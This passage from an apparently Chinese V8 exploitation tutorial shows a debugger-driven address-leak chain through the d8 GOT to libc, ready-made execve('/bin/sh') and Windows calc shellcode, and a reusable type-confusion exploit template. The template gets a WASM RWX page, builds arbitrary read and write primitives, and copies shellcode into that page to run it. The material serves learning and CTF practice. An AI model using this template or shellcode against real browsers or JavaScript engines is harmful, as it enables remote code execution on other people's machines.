15:00a8│ 0x1ef08210514 —▸ 0x1ef00000050 —▸ 0x7ffc9b976990 ◂— 0
16:00b0│ 0x1ef0821051c —▸ 0x55b039645570 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0
17:00b8│ 0x1ef08210524 —▸ 0x55b039645590 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0

image-20250614164017721

可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址,读取该处即可

泄露地址手记

目前为止都是通过自定义一部分变量完成地址泄露的,但这个地址只是某个匿名内存段罢了

1
0x271c08040000     0x271c0814d000 rw-p   10d000 0      [anon_271c08040]

因为 WASM 是我们自己定义的,所以还能通过某些方法拿到地址,但如果我们现在不想写 shellcode,想像常规的 PWN 那样去写 free_hook 或者 GOT 表时,该如何泄露地址?

一个是随机泄露,从某个变量随机的往上一个个测试偏移地址,但很显然,在开启了 ASLR 的情况下,效率太低还不稳定,因此主要通过另外一个较为稳定的方式泄露地址:

JSArray结构体–> Map结构体–>constructor结构体–>code属性地址–>code内存地址的固定偏移处保存了 v8 的二进制指令地址–>v8 的 GOT 表–> libc基址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> job 0x34d808049979
0x34d808049979: [JSArray]
- map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

pwndbg> job 0x34d808203ae1
0x34d808203ae1: [Map]
- type: JS_ARRAY_TYPE
- constructor: 0x34d8081cbe85 <JSFunction Array (sfi = 0x34d80814adc9)>

pwndbg> job 0x34d8081cbe85
0x34d8081cbe85: [Function] in OldSpace
- map: 0x34d808203a19 <Map(HOLEY_ELEMENTS)> [FastProperties]
- code: 0x34d800185501 <Code BUILTIN ArrayConstructor>

pwndbg> tel 0x34d800185501-1+0x7EBAB00 30
00:0000│ 0x34d808040000 ◂— 0x40000
01:0008│ 0x34d808040008 ◂— 0x12
02:0010│ 0x34d808040010 —▸ 0x55cca1732560 ◂— 0x0
03:0018│ 0x34d808040018 —▸ 0x34d808042118 ◂— 0x608002205
04:0020│ 0x34d808040020 —▸ 0x34d808080000 ◂— 0x40000
05:0028│ 0x34d808040028 ◂— 0x3dee8
06:0030│ 0x34d808040030 ◂— 0x0
07:0038│ 0x34d808040038 ◂— 0x2118
08:0040│ 0x34d808040040 —▸ 0x55cca17b4258 —▸ 0x55cc9f7a5d20 —▸ 0x55cc9e9ba260 ◂— push rbp

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /path/d8
0x55cc9e954000 0x55cc9f793000 r-xp e3f000 832000 /path/d8
0x55cc9f793000 0x55cc9f7fb000 r--p 68000 1670000 /path/d8
0x55cc9f7fb000 0x55cc9f80c000 rw-p 11000 16d7000 /path/d8

可以注意到,顺着这个地址链查下去,最终能找到地址 0x55cc9e9ba260 ,该地址对应了 d8 的二进制程序中的代码地址,而整个 d8 在内存中是连续的,因此可以找到其 GOT 表,然后再从中得到 libc 的机制,最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget

可用的shellcode

在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:

1
2
3
4
5
6
7
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}

function d2u(v) {
f64[0] = v;
return u32;
}

因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoiitof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2dd2u两个,把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数,就是方便我们查看值:

1
2
3
4
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

模板

总结

目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
?
}

function addressOf(obj_to_leak)
{
?
}

function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
array_map,
itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。

之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。